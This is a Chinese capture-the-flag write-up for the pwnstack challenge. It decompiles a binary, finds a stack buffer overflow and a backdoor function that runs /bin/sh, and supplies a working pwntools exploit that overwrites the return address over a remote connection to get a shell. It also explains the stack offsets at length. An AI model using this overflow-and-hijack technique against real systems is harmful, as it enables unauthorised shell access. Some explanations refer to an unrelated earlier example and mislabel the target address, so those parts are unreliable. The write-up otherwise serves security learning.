攻防世界GFSJ1012 pwnstack
题目编号:GFSJ1012
附件下载后是一个c和库文件:
获取在线场景是
1. 获取伪代码
Exeinfo打开pwn2,分析如图,64位。
IDA Pro(64-bit)打开pwn2,生成伪代码
2. 分析代码漏洞
/* This file was generated by the Hex-Rays decompiler version 8.3.0.230608.
Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>
Detected compiler: GNU C++
*/
#include <defs.h>
//-------------------------------------------------------------------------
// Function declarations
void *init_proc();
__int64 sub_400550(); // weak
// int puts(const char *s);
// int system(const char *command);
// ssize_t read(int fd, void *buf, size_t nbytes);
// int __fastcall __libc_start_main(int (__fastcall *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end);
// int setvbuf(FILE *stream, char *buf, int modes, size_t n);
// __int64 _gmon_start__(void); weak
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void));
signed __int64 deregister_tm_clones();
__int64 register_tm_clones(void); // weak
signed __int64 _do_global_dtors_aux();
__int64 __fastcall frame_dummy(_QWORD, _QWORD, _QWORD); // weak
__int64 __fastcall initsetbuf(_QWORD, _QWORD, _QWORD); // weak
__int64 vuln(void); // weak
int backdoor();
int __fastcall main(int argc, const char **argv, const char **envp);
void _libc_csu_fini(void); // idb
void term_proc();
//-------------------------------------------------------------------------
// Data declarations
_UNKNOWN _libc_csu_init;
__int64 (__fastcall *_frame_dummy_init_array_entry[2])() = { &frame_dummy, &_do_global_dtors_aux }; // weak
__int64 (__fastcall *_do_global_dtors_aux_fini_array_entry)() = &_do_global_dtors_aux; // weak
__int64 (*qword_601010)(void) = NULL; // weak
_UNKNOWN _bss_start; // weak
_UNKNOWN unk_601057; // weak
FILE *stdout; // idb
FILE *stdin; // idb
FILE *stderr; // idb
char completed_7594; // weak
// extern _UNKNOWN __gmon_start__; weak
//----- (0000000000400530) ----------------------------------------------------
void *init_proc()
{
void *result; // rax
result = &__gmon_start__;
if ( &__gmon_start__ )
return (void *)_gmon_start__();
return result;
}
// 4005B0: using guessed type __int64 _gmon_start__(void);
//----- (0000000000400550) ----------------------------------------------------
__int64 sub_400550()
{
return qword_601010();
}
// 400550: using guessed type __int64 sub_400550();
// 601010: using guessed type __int64 (*qword_601010)(void);
//----- (00000000004005C0) ----------------------------------------------------
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
char *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5;
v5 = v3;
__libc_start_main(
(int (__fastcall *)(int, char **, char **))main,
v4,
&retaddr,
(void (*)(void))_libc_csu_init,
_libc_csu_fini,
a3,
&v5);
__halt();
}
// 4005C6: positive sp value 8 has been found
// 4005CD: variable 'v3' is possibly undefined
//----- (00000000004005F0) ----------------------------------------------------
signed __int64 deregister_tm_clones()
{
signed __int64 result; // rax
result = &unk_601057 - &_bss_start;
if ( (unsigned __int64)(&unk_601057 - &_bss_start) > 0xE )
return 0LL;
return result;
}
//----- (0000000000400630) ----------------------------------------------------
__int64 register_tm_clones()
{
return 0LL;
}
// 400630: using guessed type __int64 register_tm_clones();
//----- (0000000000400670) ----------------------------------------------------
signed __int64 _do_global_dtors_aux()
{
signed __int64 result; // rax
if ( !completed_7594 )
{
result = deregister_tm_clones();
completed_7594 = 1;
}
return result;
}
// 601088: using guessed type char completed_7594;
//----- (0000000000400690) ----------------------------------------------------
__int64 frame_dummy()
{
return register_tm_clones();
}
// 400690: could not find valid save-restore pair for rbp
// 400630: using guessed type __int64 register_tm_clones(void);
// 400690: using guessed type __int64 frame_dummy();
//----- (00000000004006B6) ----------------------------------------------------
__int64 initsetbuf()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return 0LL;
}
// 4006B6: using guessed type __int64 initsetbuf();
//----- (000000000040071B) ----------------------------------------------------
__int64 vuln()
{
// 定义了一个160字节大小的缓冲区,用于存储用户输入的数据。
// 该缓冲区位于栈上,位于rsp寄存器地址处,相对于rbp偏移-A0h处。
char buf[160]; // [rsp+0h] [rbp-A0h] BYREF
// 将缓冲区 `buf` 的内容初始化为0
memset(buf, 0, sizeof(buf));
// 从标准输入 (文件描述符 0) 读取 0xB1 (177) 字节的数据,并存储到 `buf` 中。
// 由于 `buf` 只有 160 字节的空间,因此这将导致缓冲区溢出,溢出部分可能覆盖到栈上的其他数据,
// 包括返回地址和其他局部变量。
read(0, buf, 0xB1uLL);
// 返回值为0,函数返回时不会进行任何安全检查或修复。
return 0LL;
}
'''
vuln() 函数中存在缓冲区溢出漏洞。函数定义了160字节的缓冲区 buf,但通过 read 函数从标准输入读取了177字节的数据(0xB1 = 177),显然会导致栈上的溢出。这意味着超过160字节的数据将覆盖栈上的其他局部变量,甚至是函数的返回地址,这为攻击者提供了机会。
'''
// 40071B: using guessed type __int64 vuln();
// 40071B: using guessed type __int64 vuln();
//----- (0000000000400762) ----------------------------------------------------
int backdoor()
{
// 该函数调用了系统命令 `system("/bin/sh")`,启动了一个shell。
// 如果能够将控制流劫持到这个函数,就可以获得一个shell,从而实现任意代码执行。
return system("/bin/sh");
}
'''
backdoor() 函数是一个后门,调用了 system("/bin/sh") 来启动一个 /bin/sh shell,提供了命令执行的能力。通常这种函数是攻击者的目标,攻击者会试图利用溢出漏洞跳转到这个函数,从而获取系统的shell。
'''
//----- (0000000000400778) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
// 初始化输入/输出流的缓冲设置,通过调用 initsetbuf() 函数。
initsetbuf(argc, argv, envp);
// 输出提示信息,提示用户这个是 `pwn1` 程序。
puts("this is pwn1,can you do that??");
// 调用具有缓冲区溢出漏洞的函数 `vuln`。
vuln();
// 程序返回0,表示正常退出。
return 0;
}
'''
main() 函数首先调用了 initsetbuf() 来设置缓冲区模式(具体可以参考您提供的 initsetbuf() 代码),然后通过 puts 提示用户输入。在提示信息之后,调用了 vuln() 函数,这个函数包含着缓冲区溢出漏洞。整个程序的主要漏洞就发生在 vuln() 函数中。
'''
// 4006B6: using guessed type __int64 __fastcall initsetbuf(_QWORD, _QWORD, _QWORD);
// 40071B: using guessed type __int64 vuln(void);
//----- (00000000004007B0) ----------------------------------------------------
void __fastcall _libc_csu_init(unsigned int a1, __int64 a2, __int64 a3)
{
signed __int64 v4; // rbp
__int64 i; // rbx
v4 = &_do_global_dtors_aux_fini_array_entry - _frame_dummy_init_array_entry;
init_proc();
if ( v4 )
{
for ( i = 0LL; i != v4; ++i )
((void (__fastcall *)(_QWORD, __int64, __int64))_frame_dummy_init_array_entry[i])(a1, a2, a3);
}
}
// 400690: using guessed type __int64 __fastcall frame_dummy(_QWORD, _QWORD, _QWORD);
// 600E10: using guessed type __int64 (__fastcall *_frame_dummy_init_array_entry[2])();
// 600E18: using guessed type __int64 (__fastcall *_do_global_dtors_aux_fini_array_entry)();
//----- (0000000000400824) ----------------------------------------------------
void term_proc()
{
;
}
// nfuncs=26 queued=13 decompiled=13 lumina nreq=0 worse=0 better=0
// ALL OK, 13 function(s) have been successfully decompiled
3.编写攻击代码
from pwn import *
# 设置pwntools的上下文,指定调试信息、架构和操作系统
# 'log_level=debug'表示将日志级别设为调试模式,这样可以输出更多的调试信息,有助于追踪每一步的执行。
# 'arch=amd64'表示目标系统是64位AMD架构,'os=linux'指定目标操作系统是Linux。
context(log_level='debug', arch='amd64', os='linux')
# 连接到远程服务器,目标地址为'61.147.171.105',端口号为58776
# 这个函数将会创建一个到远程服务的TCP连接,之后的所有操作都会通过这个连接与远程服务交互。
io = remote('61.147.171.105', 58776)
# 定义填充的大小,这里是168字节
# 在这个程序中,假设有一个168字节的缓冲区,2*64,在这个缓冲区之后可能是栈上的控制变量,如返回地址。
pad = 168
# 调用pause()函数,暂停程序的执行,等待用户手动恢复
# 这个函数通常用于调试阶段,可以让你有时间在外部(例如在GDB中)附加调试器,以进一步分析目标进程。
pause()
# 定义需要跳转的返回地址,这个地址可能是一个用于绕过保护机制的地址
# '0x0000000000400762' 可能是一个程序内的特殊地址,例如一个 `ret` 指令地址,通常用于ROP链中的栈平衡(ROP gadget)。
ret_addr = 0x0000000000400762
# 构造payload:
# 1. 填充168字节的'A',这些字节用于填充栈上的缓冲区,直到覆盖返回地址。
# 2. 使用 `p64(ret_addr)`,将目标地址以小端字节序表示(64位地址的格式),并将其放在缓冲区溢出的位置。
# 这意味着当函数返回时,程序将跳转到`ret_addr`指定的位置。
payload = b'A' * pad + p64(ret_addr)
# 定义程序的输入分隔符,当程序在等待输入时,它会输出这个分隔符。这里 'that??' 是远程程序的提示信息。
delimiter = 'that??'
# sendlineafter 用于发送payload,它会等待接收到'delimiter'作为提示,然后发送 `payload`
# 这个函数保证程序在特定的时刻(接收到特定的提示)发送输入,确保输入的顺序和时机正确。
io.sendlineafter(delimiter, payload)
# 进入交互模式,等待用户交互
# 这将允许用户在运行时与目标程序交互,例如手动输入命令或者查看程序的返回值。
io.interactive()
4. 运行代码获取flag
5. 理解重要知识点
#### **漏洞利用流程**
1. **填充至返回地址**:
- `pad = 168`:这是缓冲区的填充长度,确定了栈上从 `buf` 到返回地址之间的字节数。
- `payload = b'A' * pad`:构造一个填充 168 字节的 `A` 字节流,以便填充缓冲区 `buf`,直到返回地址位置。
2. **覆盖返回地址**:
- `ret_addr = 0x0000000000400762`:`ret_addr` 是返回地址位置想要覆盖的地址。
- `p64(ret_addr)`:将返回地址转换为 64 位小端格式字节,并附加在填充数据之后。这一步覆盖了 `vuln` 函数的返回地址,使其在函数返回时跳转到 `0x400762`。
3. **发送 Payload**:
- 使用 `sendlineafter(delimiter, payload)` 方法,在程序输出特定提示后发送构造好的 Payload。
- 这样可以确保输入顺序和时机,使得 payload 能正确送达缓冲区位置,并覆盖返回地址。
4. **获得 Shell 权限**:
- 最后,进入交互模式:`io.interactive()`,这样当控制流被劫持并跳转到 `backdoor` 时,用户将获得一个与远程服务器交互的 Shell。
### **总结**
该漏洞利用通过精确的栈布局计算,构造出合适长度的填充,最终覆盖返回地址,将程序的控制流重定向到 `backdoor` 函数,进而启动 Shell,实现命令执行。
## 为什么pad是168能够正好到vuln函数的返回地址?
`pad = 168` 正好能填充到 `vuln` 函数的返回地址位置,是基于目标程序的栈布局和各变量在栈中的偏移来推算的。让我们详细解释这个计算过程,了解为什么使用 168 字节的填充可以准确覆盖到返回地址。
### **1. 分析栈布局**
当调用 `vuln` 函数时,通常在 64 位系统上,函数栈的布局包含以下几个部分(自上而下):
```
| 上层函数的返回地址 | <- 栈帧顶端,向低地址方向增长
| 栈帧指针 (RBP) |
| buf[160] | <- vuln函数的局部变量
| 未使用的填充区(Padding 或其他局部变量)
| 返回地址 | <- 目标覆盖的位置
```
在 `vuln` 函数中,定义了一个 160 字节的缓冲区 `buf`,并且函数返回地址位于 `buf` 之后。
### **2. 计算返回地址的位置**
让我们假设在 64 位系统上,`vuln` 函数调用时的栈布局如下:
- `buf` 占用 160 字节。
- `栈帧指针`(RBP)占用 8 字节。
- 返回地址位于栈帧指针之后,占用 8 字节。
因此,从 `buf` 到返回地址的偏移可以计算如下:
1. **160 字节**:这是 `buf` 的大小。
2. **8 字节**:在 `buf` 之后是 `栈帧指针`。
把它们加起来:
```plaintext
160 + 8 = 168 字节
```
这就解释了为什么 `pad` 的值是 168 字节——因为这样可以填满整个 `buf` 和 `栈帧指针`,刚好到达 `vuln` 函数的返回地址位置。
### **3. 构造 Payload 覆盖返回地址**
利用这个 `pad` 值,攻击者可以构造如下的 payload 来覆盖返回地址:
```python
payload = b'A' * 168 + p64(ret_addr)
```
- `b'A' * 168`:填充 168 字节,刚好填满 `buf` 和 `RBP`,使得接下来的数据可以直接覆盖到返回地址。
- `p64(ret_addr)`:覆盖返回地址,使得 `vuln` 函数返回时程序跳转到 `ret_addr` 指定的位置。
### **4. 确定 168 的方法**
通常,我们可以通过以下几种方式确定 `pad` 的准确值:
- **手动调试**:使用调试器(如 GDB)来逐步调试程序,查看 `buf` 到返回地址的偏移。例如,可以在 `vuln` 函数返回之前暂停,检查栈内容,计算缓冲区到返回地址之间的字节数。
- **反汇编分析**:通过反汇编工具(如 IDA Pro)查看函数栈布局,根据局部变量、缓冲区的大小和返回地址的相对偏移量来推算出具体的 `pad` 值。
### **总结**
在 64 位系统的栈布局下,`buf` 的大小是 160 字节,加上 `8` 字节的 `RBP` 后,168 字节的填充可以准确到达 `vuln` 函数的返回地址。这个填充长度确保攻击者能精确覆盖返回地址,从而控制程序的执行流。
## 确定返回地址:补全
在前面的例子中使用了 `b'B' * 16`,而在这个例子中是 `b'A' * 168`。这两者之所以不同,是因为具体程序的**栈布局和偏移量不同**。下面来详细解释一下为什么两个例子中的填充长度不同。
### **1. 程序栈布局不同**
每个程序的栈布局在调用函数时都有可能不同,具体取决于:
- **缓冲区的大小**:`buf` 或其他局部变量的大小会影响返回地址的位置。
- **局部变量的数量和类型**:变量的位置和对齐可能不同,这决定了填充到返回地址的距离。
- **编译器的内存对齐方式**:有些编译器在局部变量之间可能会加上额外的填充,以优化内存访问效率,这会影响实际的栈布局。
### **2. 前一个例子的 `b'B' * 16` 的分析**
在前一个例子中:
- 使用 `b'A' * 32` 来填充缓冲区。
- 使用 `p64(0x1)` 作为覆盖的控制变量。
- 紧接着使用了 `b'B' * 16`,这是为了填充到返回地址的位置。
#### **为什么是 16?**
这个值是基于前一个程序的栈布局推算出来的,在那个例子中,缓冲区 `s` 的大小可能是 32 字节,后面紧跟一个 8 字节的控制变量 `v5`,然后再通过 16 字节到达返回地址位置。16 字节可能是:
- 补齐对齐或额外的局部变量空间。
这就使得填充 **32 + 8 + 16 = 56 字节** 可以刚好到达返回地址。
### **3. 这个例子的 `b'A' * 168` 的分析**
在这个例子中,填充 168 字节直接覆盖缓冲区和栈帧指针到返回地址位置。`168` 是基于这个程序的栈布局得出的。
- 该程序的缓冲区 `buf` 为 160 字节,返回地址紧接着缓冲区后面的栈帧指针(8 字节)而存在。
- 通过填充 **160(缓冲区)+ 8(栈帧指针)** 的 `168` 字节,我们直接覆盖了栈帧到达返回地址。
### **4. 确定填充值长度的总结**
不同的栈布局决定了我们需要不同长度的填充值:
- 对于 **前一个例子**:变量较少,且返回地址前有对齐空隙,因此需要 16 字节的填充。
- 对于 **当前例子**:缓冲区较大并直接覆盖到返回地址,这就需要 168 字节的填充。
因此,填充值的大小是基于**具体程序的栈布局和变量分布情况**得出的。通过调试或静态分析,可以确认程序的栈布局,从而准确填充到返回地址。
## \[esp+4h\] \[ebp-14h\]表示什么意思
在代码中,注释 `char dest; // [esp+4h] [ebp-14h]` 提供了 `dest` 变量在栈中的位置。让我们分解这段注释的含义。
### 1. **变量声明**
```c
char dest;
```
这行代码声明了一个字符变量 `dest`,它会在当前函数的栈帧上分配内存。
### 2. **注释的解释**
```c
// [esp+4h] [ebp-14h]
```
- 这个注释使用了汇编层次的栈指针 `esp`(Stack Pointer)和基址指针 `ebp`(Base Pointer)来表示 `dest` 变量的地址偏移。
- **`[ebp-14h]`**:
- `ebp` 通常用来指向当前栈帧的基址。`ebp-14h` 表示从 `ebp` 向下(栈向低地址增长)偏移 `0x14`(20 十进制)字节的位置。
- 这意味着 `dest` 变量在栈上分配的位置距离 `ebp` 基址向下偏移 20 个字节。
- **`[esp+4h]`**:
- `esp` 是栈顶指针,通常指向当前函数栈帧的栈顶。在进入函数时,它和 `ebp` 一样,用于跟踪局部变量的位置。
- `[esp+4h]` 表示 `esp` 向上偏移 `0x4`(4 十进制)字节的位置。
- 通常情况下,这种偏移关系是在函数调用期间或编译器生成的代码中用于描述变量的位置。
### 总结
- 注释 `// [esp+4h] [ebp-14h]` 表明 `dest` 变量相对于 `ebp` 的偏移为 `-0x14`,相对于 `esp` 的偏移为 `+0x4`。
- 这在汇编层次上描述了变量 `dest` 在栈上的位置。编译器在生成汇编代码时会根据这些偏移量在栈上访问 `dest`。
- **功能性**:在实际调试或反汇编中,这种注释有助于定位变量在栈上的具体位置。例如,在使用 GDB 检查栈布局时,知道变量的 `ebp` 和 `esp` 偏移量可以帮助分析栈帧结构及其在内存中的位置。